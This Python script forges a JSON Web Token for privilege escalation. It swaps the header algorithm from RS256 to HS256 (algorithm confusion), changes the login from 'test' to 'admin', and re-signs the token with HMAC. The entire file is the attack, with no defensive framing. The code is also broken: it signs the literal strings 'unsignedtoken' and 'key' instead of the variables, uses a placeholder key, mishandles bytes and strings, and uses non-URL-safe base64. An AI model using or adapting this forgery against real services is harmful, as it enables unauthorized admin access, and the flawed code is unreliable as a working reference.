import base64
import hmac
import hashlib


key="1234"

current_jwt_token="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJsb2dpbiI6InRlc3QifQ.13ZuaPDcrWqKWF7PxX66ULUmw89GwZhAB-ZrIw_vN_V4w8Mzt4TkFQeqeJKc2R4rcU21jUahqqQ6KzG-_NMxDkqjJ_tXUZr4souGXq5JJOp9GS5bkNV3PMI0GjExZtJ1Mc4vEVxWc0z5DZ_Q3ldMr5ognJyDlYqOaVilth9x-k1cp-kY8-q7VvF9UedE20UkbvYjrN0Etood1W-AmqgLp_2NrdgeTo6_2VGkfYMAFupJTQokR2HSvQvPyyK-6hnPBbj04BSbjV2AepX5zeFSchDGbEPWpacLmdQq7UPmefRGsQid99VQFKRzBnnEfrpvuGvGPGuoGpwWuFPhlc-lcw"

header, payload, signature = current_jwt_token.split('.')


#replace the algorithim with HS256
old_header=(base64.b64decode(header))
new_header=str(old_header.replace("RS256","HS256"))

#change the payload test to admin in the current_jwt_token
old_payload=(base64.b64decode(payload+"=="))
new_payload=str(old_payload.replace("test","admin"))
new_payload=base64.b64encode(new_payload).replace('=','')

#find unsigned token
unsignedtoken=base64.b64encode(new_header) + "." + new_payload
unsignedtoken=str(unsignedtoken)

message = bytes("unsignedtoken").encode('utf-8')
secret = bytes("key").encode('utf-8')

#calculate signature
signature = base64.b64encode(hmac.new(secret, message, digestmod=hashlib.sha256).digest())


#new jet token with admin as payload
final_jwt_token=unsignedtoken + "." + signature

print(final_jwt_token)